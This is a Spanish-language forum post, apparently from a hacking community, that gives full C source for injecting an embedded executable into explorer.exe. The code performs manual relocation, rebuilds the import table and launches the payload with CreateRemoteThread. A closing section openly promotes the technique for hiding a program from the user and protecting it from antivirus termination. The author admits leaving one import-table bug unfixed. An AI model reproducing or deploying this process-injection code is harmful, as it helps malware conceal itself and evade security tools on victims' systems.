Inyección de Archivos en un Proceso

Cuando se habla de inyección de archivos o de inyección simplemente, se entiende por ello inyección en otro proceso, sin embargo, todos los códigos que vi sobre ésto (que no son pocos), no hacen propiamente una inyección, sinó que crean un proceso y se "inyectan" en el proceso creado, así podemos ver en mucho malware un proceso llamado "IEXPLORER.EXE" cuando no utilizamos ese navegador, un "msnmsgr.exe" cuando no tenemos el messenger abierto o dos procesos "explorer.exe" en ejecución.

Lo que hace éste código es inyectarse en 'explorer.exe', abriendo el proceso y creando un hilo hacia nuestro código con CreateRemoteThread. Ésto es bastante fácil de hacer cuando simplemente inyectamos un código, como puede ser una shellcode o algo así, pero la cosa cambia si queremos inyectar un ejecutable completo, no lo podemos cargar en el ImageBase puesto que seguramente ya estará ocupado por el ejecutable del explorer (00400000), y todas las direcciones virtuales absolutas (no relativas al imagebase) estarán rotas. Para solucionar éste problema he utilizado (como muchos ya habrán supuesto ) la Relocation Table, pudiendo así con esa tabla inyectar mi ejecutable en un proceso remoto, rebasearlo y cargar la IAT. Luego con CreateRemoteThread se crea un hilo hacia el EntryPoint y ya tenemos dos ejecutables corriendo en un mismo proceso  .

Aquí os dejo el código que inyecta en 'explorer.exe' un ejecutable que guarda en el resource:

Código

```
#pragma comment (linker,"/NODEFAULTLIB")
#pragma comment (linker,"/ENTRY:main")

#include <windows.h>
#include <Tlhelp32.h>
#include "resource.h"

int main()
{
        PIMAGE_DOS_HEADER IDH;
        PIMAGE_NT_HEADERS INTH;
        PIMAGE_SECTION_HEADER ISH;

        //Cargamos el resource
        HRSRC
hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
        DWORD ResourceSize=SizeofResource(NULL,hResource);
        HGLOBAL hGlob=LoadResource(NULL,hResource);
        LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);

        //Obtenemos la cabecera DOS y PE en las estructuras
        IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
        INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

        DWORD PID=0;
        HANDLE
hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        PROCESSENTRY32 pInfo;
        pInfo.dwSize=sizeof(PROCESSENTRY32);
```

```
        //Obtenemos el PID del 'explorer.exe'
        Process32First(hSnapshot,&pInfo);
        for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");)
        {
                Process32Next(hSnapshot,&pInfo);
        }
        CloseHandle(hSnapshot);
        PID=pInfo.th32ProcessID;

        //Abrimos el proceso en el que nos inyectaremos
        HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);

        //Creamos el buffer del tamaño del SizeOfImage en el que
cargaremos el ejecutable
        LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH-
>OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWR
ITE);

        //Copiamos la cabecera DOS y PE al buffer
        WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH-
>OptionalHeader.SizeOfHeaders,0);

        //Copiamos las secciones en su VirtualOffset en el buffer
        for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
        {
                ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH-
>e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                WriteProcessMemory(hProcess,&ExeBuffer[ISH-
>VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH-
>SizeOfRawData,0);
        }

        //Calculamos el delta entre la dirección del buffer y el
ImageBase
        DWORD Delta=(((DWORD)ExeBuffer)-INTH-
>OptionalHeader.ImageBase);

        //-------------------------------------------------------------
        /* -Reubicamos la dirección base del ejecutable :D- */
        //-------------------------------------------------------------

        //Si no hay tabla de reubicación, salimos
        if(INTH-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0
)
        {
                MessageBoxA(0,"No hay relocation table!",0,0);
                return false;
        }

        //Obteemos el Image Base Relocation
        //Copiamos el Image Base Relocation de los datos en el proceso
a un buffer en el nuestro para
        //poder trabajar con él más comodamente
        PIMAGE_BASE_RELOCATION
IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCAT
ION));
        PIMAGE_BASE_RELOCATION
PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Virtual
```

```
Address);
        ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_R
ELOCATION),0);

        //Vamos recorriendo todas las etradas del bloque
        for (DWORD n=0;IBR->VirtualAddress>0;n++)
        {
                //Obtenemos el Bloque de reubicación
                LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR-
>VirtualAddress);

                //Obtenemos la primera entrada del bloque
                LPWORD
RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));

                //Recorremos todas las entradas del bloque
                for (DWORD i=0;i<((IBR->SizeOfBlock-
sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
                {
                        WORD valor;

        ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0);
                        //Obtenemos los 4 bits que definen el tipo de
reubicación
                        DWORD type=valor>>12;

                        //Obtenemos los 12 bits que definen la
dirección de la reubicación
                        DWORD offset=valor&0xFFF;

                        //Si el tipo de reubicación es relativo a la
dirección base, añadimso el delta
                        if(type==IMAGE_REL_BASED_HIGHLOW)
                        {
                                //Añadimos a la dirección que depende
del imagebase original
                                //el delta entre el imagebase y nuestra
dirección base
                                LPDWORD
newAddr=(LPDWORD)(RelocationBlock+offset);
                                DWORD NewValue;

        ReadProcessMemory(hProcess,newAddr,&NewValue,4,0);
                                NewValue+=Delta;

        WriteProcessMemory(hProcess,newAddr,&NewValue,4,0);
                        }
                }

                //Vamos al siguiente bloque
                PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR-
>SizeOfBlock);

        ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_R
ELOCATION),0);
        }
        GlobalFree(IBR);


        //-------------------------------------------------------------
--------
```

```
        /* -Cargamos los valores de la IAT para poder llamar a las
apis- */
        //-------------------------------------------------------------
--------

        PIMAGE_THUNK_DATA ITD;
        PIMAGE_THUNK_DATA PITD;
        PIMAGE_IMPORT_BY_NAME IIBN;

        //Comprobamos si hay Import Data Descriptor
        if (INTH-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
        {

                //Obtenemos el Import Data Descriptor
                //Copiamos el Import Data Descriptor de los datos en el
proceso a un buffer en el nuestro para
                //poder trabajar con él más comodamente
                PIMAGE_IMPORT_DESCRIPTOR
IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DES
CRIPTOR));
                PIMAGE_IMPORT_DESCRIPTOR
PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAdd
ress);

        ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT
_DESCRIPTOR),0);

                //Vamos recorriendo todas las Dll's importadas por el
ejecutable
                for (;IID->Name;)
                {
                        //Obtenemos la longitud del nombre de la dll
                        DWORD szName=0;
                        CHAR miByte=1;
                        for(int i=0;miByte;i++)
                        {
                                szName=i;

        ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
                        }

                        //Obtenemos el nombre de la dll
                        LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
                        ReadProcessMemory(hProcess,ExeBuffer+IID-
>Name,lpName,szName+1,0);

                        //Cargamos la dll
                        HMODULE hLib=LoadLibraryA(lpName);

                        //Obtenemos la dirección al primer miembro del
array Image Thunk Data's
                        PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID-
>FirstThunk);

        ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA
));

        ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0)
;
```

```
                        //Vamos recorriendo las funciones importadas
                        for (;ITD->u1.Ordinal;)
                        {
                                miByte=1;
                                //Obtenemos la longitud del nombre de la
API
                                for(int i=0;miByte;i++)
                                {
                                        szName=i;
                                        LPSTR puntero=ExeBuffer+ITD-
>u1.Function+2;
                                        puntero+=i;

        ReadProcessMemory(hProcess,puntero,&miByte,1,0);
                                }

                                //Cargamos el Image Import By Name para
obtener el nombre

        IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPOR
T_BY_NAME)+szName);

        ReadProcessMemory(hProcess,ExeBuffer+ITD-
>u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);

                                //Obtenemos la dirección de la función y
la guardamos en la IAT
                                DWORD
lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);

        WriteProcessMemory(hProcess,ExeBuffer+IID-
>FirstThunk,&lpAPI,4,0); /* Ejem!! Vaya metedura xD */

                                PITD++;

        ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0)
;
                        }
                        PIID++;

        ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT
_DESCRIPTOR),0);
                        GlobalFree(lpName);
                        GlobalFree(ITD);
                }
                GlobalFree(IID);
        }

        //Obteemos el EntryPoint de ejecutable que cargamos en el
buffer
        DWORD EntryPoint=((DWORD)ExeBuffer)+INTH-
>OptionalHeader.AddressOfEntryPoint;

        //Llamamos al EntryPoint
        CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPo
int,0,0,0);

        return 0;
}
```

Descargar Source

APLICACIONES

La primera aplicación que salta a la vista es la ocultación, si nos podemos inyectar en un proceso evitamos tener que usar otras técnicas para ocultar nuestro proceso, y a la vez nos proporciona protección frente a un antivirus o algún programa de protección que trate de terminar el proceso, puesto que de hacerlo (como seguro hará), terminará la ejecución de los dos ejecutables, el nuestro y el exporer.

Otra aplicación que se me ocurre es un poco más complicada de explicar que espero poder presentar el código en breve, seguro a muchos les gustará 

Hay un problema con el code según Hacker_Zero, en este texto esta lapista para arreglar el fallo:

Bueno, hoy haciendo una cosilla con éste code me di cuenta de que cometí algunos errores  . Uno aquí:

Código
```
miByte=1; //<<<<------ Habrá que inicializara a 1 ese byte no? sino pasan cosas malas xD
//Obtenemos la longitud del nombre de la API
for(int i=0;miByte;i++)
{
        szName=i;
        LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
        puntero+=i;
        ReadProcessMemory(hProcess,puntero,&miByte,1,0);
}
```

Lo cambié ya en el post principal, y hay otro error, pero no lo voy a corregir  .

Está cuando el ejecutable trata de cargar la IAT (voy a ser bueno y voy a marcar la zona donde está), es una metedura de pata bastante gorda así que quien sepa de que va la IAT debería ser quien de arreglarlo, y quien no, demuestra que debe leerse más sobre el tema antes de usar el código  .

Tal y como está sólo carga bien una API por DLL

Saludos